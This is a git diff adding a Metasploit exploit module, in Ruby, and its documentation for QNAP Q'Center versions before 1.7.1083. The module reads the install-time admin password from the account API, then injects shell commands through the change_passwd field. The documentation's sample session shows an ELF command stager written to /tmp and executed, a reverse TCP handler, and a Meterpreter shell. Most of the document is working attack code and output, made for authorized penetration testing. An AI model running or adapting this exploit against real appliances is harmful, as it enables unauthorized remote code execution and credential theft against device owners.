diff --git a/documentation/modules/exploit/linux/http/qnap_qcenter_change_passwd_exec.md b/documentation/modules/exploit/linux/http/qnap_qcenter_change_passwd_exec.md new file mode 100644 index 0000000000..792f3c5685 --- /dev/null +++ b/documentation/modules/exploit/linux/http/qnap_qcenter_change_passwd_exec.md @@ -0,0 +1,81 @@ +## Description + + This module exploits a command injection vulnerability in the + `change_passwd` API method within the web interface of QNAP Q'Center + virtual appliance versions prior to 1.7.1083. + + The vulnerability allows the `admin` privileged user account to + execute arbitrary commands as the `admin` operating system user. + + Valid credentials for the `admin` user account are required, however, + this module also exploits a separate password disclosure issue which + allows any authenticated user to view the password set for the `admin` + user during first install. + + +## Vulnerable Application + + [QNAP Q'Center](https://www.qnap.com/solution/qcenter/index.php) is a central + management platform that enables you to consolidate the management of multiple + QNAP NAS devices. + + This module has been tested successfully on QNAP Q'Center appliance + version 1.6.1075. + + +## Verification Steps + + 1. Start `msfconsole` + 2. `use exploit/linux/http/qnap_qcenter_change_passwd_exec` + 3. `set RHOSTS ` + 4. `set USERNAME ` (default: `admin`) + 5. `set PASSWORD ` (default: `admin`) + 6. `run` + 7. You should get a session + + +## Options + + **USERNAME** + + Username for the application. (default: `admin`) + + **PASSWORD** + + Password for the application. (default: `admin`) + + +## Scenarios + + ``` + msf5 > use exploit/linux/http/qnap_qcenter_change_passwd_exec + msf5 exploit(linux/http/qnap_qcenter_change_passwd_exec) > set rhosts 10.1.1.112 + rhosts => 10.1.1.112 + msf5 exploit(linux/http/qnap_qcenter_change_passwd_exec) > set verbose true + verbose => true + msf5 exploit(linux/http/qnap_qcenter_change_passwd_exec) > check + + [*] Target is QNAP Q'Center appliance version 1.6.1075 + [*] 10.1.1.112:443 The target appears to be vulnerable. + msf5 exploit(linux/http/qnap_qcenter_change_passwd_exec) > run + + [*] Started reverse TCP handler on 10.1.1.197:4444 + [*] Target is QNAP Q'Center appliance version 1.6.1075 + [+] Authenticated as user 'admin' successfully + [*] Sending payload ... + [*] Generated command stager: ["printf '\\177\\105\\114\\106\\1\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\2\\0\\3\\0\\1\\0\\0\\0\\124\\200\\4\\10\\64\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\64\\0\\40\\0\\1\\0\\0\\0\\0\\0\\0\\0\\1\\0\\0\\0\\0\\0\\0\\0\\0\\200\\4\\10\\0\\200\\4\\10\\317\\0\\0\\0\\112\\1\\0\\0\\7\\0\\0\\0\\0\\20\\0\\0\\152\\12\\136\\61\\333\\367\\343\\123\\103\\123\\152\\2\\260\\146\\211\\341\\315\\200\\227\\133\\150\\12\\1\\1\\305\\150\\2\\0\\21\\134\\211\\341\\152\\146\\130\\120\\121\\127\\211\\341\\103\\315\\200\\205\\300\\171\\31\\116\\164\\75\\150\\242\\0\\0\\0\\130\\152\\0\\152\\5\\211\\343\\61\\311\\315\\200\\205\\300\\171\\275\\353\\47\\262\\7\\271\\0\\20\\0\\0\\211\\343\\301\\353\\14\\301\\343\\14\\260\\175\\315\\200\\205\\300\\170\\20\\133\\211\\341\\231\\266\\14\\260\\3\\315\\200\\205\\300\\170\\2\\377\\341\\270\\1\\0\\0\\0\\273\\1\\0\\0\\0\\315\\200'>>/tmp/ivFxR ; chmod +x /tmp/ivFxR ; /tmp/ivFxR ; rm -f /tmp/ivFxR"] + [*] Transmitting intermediate stager...(106 bytes) + [*] Sending stage (861480 bytes) to 10.1.1.112 + [*] Command Stager progress - 100.00% done (701/701 bytes) + + meterpreter > getuid + Server username: uid=1001, gid=1001, euid=1001, egid=1001 + meterpreter > sysinfo + Computer : 10.1.1.112 + OS : Ubuntu 14.04 (Linux 3.13.0-32-generic) + Architecture : x64 + BuildTuple : i486-linux-musl + Meterpreter : x86/linux + meterpreter > + ``` + diff --git a/modules/exploits/linux/http/qnap_qcenter_change_passwd_exec.rb b/modules/exploits/linux/http/qnap_qcenter_change_passwd_exec.rb new file mode 100644 index 0000000000..6752afd092 --- /dev/null +++ b/modules/exploits/linux/http/qnap_qcenter_change_passwd_exec.rb @@ -0,0 +1,198 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::CmdStager + + def initialize(info = {}) + super(update_info(info, + 'Name' => "QNAP Q'Center change_passwd Command Execution", + 'Description' => %q{ + This module exploits a command injection vulnerability in the + `change_passwd` API method within the web interface of QNAP Q'Center + virtual appliance versions prior to 1.7.1083. + + The vulnerability allows the 'admin' privileged user account to + execute arbitrary commands as the 'admin' operating system user. + + Valid credentials for the 'admin' user account are required, however, + this module also exploits a separate password disclosure issue which + allows any authenticated user to view the password set for the 'admin' + user during first install. + + This module has been tested successfully on QNAP Q'Center appliance + version 1.6.1075. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Ivan Huertas', # Discovery and PoC + 'Brendan Coles' # Metasploit + ], + 'References' => + [ + ['CVE', '2018-0706'], # privesc + ['CVE', '2018-0707'], # rce + ['EDB', '45015'], + ['URL', 'https://www.coresecurity.com/advisories/qnap-qcenter-virtual-appliance-multiple-vulnerabilities'], + ['URL', 'http://seclists.org/fulldisclosure/2018/Jul/45'], + ['URL', 'https://www.securityfocus.com/archive/1/542141'], + ['URL', 'https://www.qnap.com/en-us/security-advisory/nas-201807-10'] + ], + 'Platform' => 'linux', + 'Arch' => [ARCH_X86, ARCH_X64], + 'Targets' => [['Auto', { }]], + 'CmdStagerFlavor' => %w[printf bourne wget], + 'Privileged' => false, + 'DisclosureDate' => 'Jul 11 2018', + 'DefaultOptions' => {'RPORT' => 443, 'SSL' => true}, + 'DefaultTarget' => 0)) + register_options [ + OptString.new('TARGETURI', [true, "Base path to Q'Center", '/qcenter/']), + OptString.new('USERNAME', [true, 'Username for the application', 'admin']), + OptString.new('PASSWORD', [true, 'Password for the application', 'admin']) + ] + register_advanced_options [ + OptBool.new('ForceExploit', [false, 'Override check result', false]) + ] + end + + def check + res = send_request_cgi 'uri' => normalize_uri(target_uri.path, 'index.html') + + unless res + vprint_error 'Connection failed' + return CheckCode::Unknown + end + + unless res.code == 200 && res.body.include?("Q'center") + vprint_error "Target is not a QNAP Q'Center appliance" + return CheckCode::Safe + end + + version = res.body.scan(/\.js\?_v=([\d\.]+)/).flatten.first + if version.to_s.eql? '' + vprint_error "Could not determine QNAP Q'Center appliance version" + return CheckCode::Detected + end + + version = Gem::Version.new version + vprint_status "Target is QNAP Q'Center appliance version #{version}" + + if version >= Gem::Version.new('1.7.1083') + return CheckCode::Safe + end + + CheckCode::Appears + end + + def login(user, pass) + vars_post = { + name: user, + password: Rex::Text.encode_base64(pass), + remember: 'false' + } + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, '/hawkeye/v1/login'), + 'ctype' => 'application/json', + 'data' => vars_post.to_json + }) + + if res.nil? + fail_with Failure::Unreachable, 'Connection failed' + elsif res.code == 200 && res.body.eql?('{}') + print_good "Authenticated as user '#{user}' successfully" + elsif res.code == 401 || res.body.include?('AuthException') + fail_with Failure::NoAccess, "Invalid credentials for user '#{user}'" + else + fail_with Failure::UnexpectedReply, "Unexpected reply [#{res.code}]" + end + + @cookie = res.get_cookies + if @cookie.nil? + fail_with Failure::UnexpectedReply, 'Failed to retrieve cookie' + end + end + + # + # Retrieve list of user accounts + # + def account + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, '/hawkeye/v1/account'), + 'cookie' => @cookie + }) + JSON.parse(res.body)['account'] + rescue + print_error 'Could not retrieve list of users' + nil + end + + # + # Login to the 'admin' privileged user account + # + def privesc + print_status 'Retrieving admin user details ...' + + admin = account.first + if admin.blank? || admin['_id'].blank? || admin['name'].blank? || admin['new_password'].blank? + fail_with Failure::UnexpectedReply, 'Failed to retrieve admin user details' + end + + @id = admin['_id'] + @pw = Rex::Text.decode_base64 admin['new_password'] + print_good "Found admin password used during install: #{@pw}" + + login admin['name'], @pw + end + + # + # Change password to +new+ for user with ID +id+ + # + def change_passwd(id, old, new) + vars_post = { + _id: id, + old_password: Rex::Text.encode_base64(old), + new_password: Rex::Text.encode_base64(new), + } + send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, '/hawkeye/v1/account'), + 'query' => 'change_passwd', + 'cookie' => @cookie, + 'ctype' => 'application/json', + 'data' => vars_post.to_json + }, 5) + end + + def execute_command(cmd, _opts) + change_passwd @id, @pw, "\";#{cmd};\"" + end + + def exploit + unless [CheckCode::Detected, CheckCode::Appears].include? check + unless datastore['ForceExploit'] + fail_with Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.' + end + print_warning 'Target does not appear to be vulnerable' + end + + login datastore['USERNAME'], datastore['PASSWORD'] + + if datastore['USERNAME'].eql? 'admin' + @id = @cookie.scan(/_ID=(.+?);/).flatten.first + @pw = datastore['PASSWORD'] + else + privesc + end + + print_status 'Sending payload ...' + execute_cmdstager linemax: 10_000 + end +end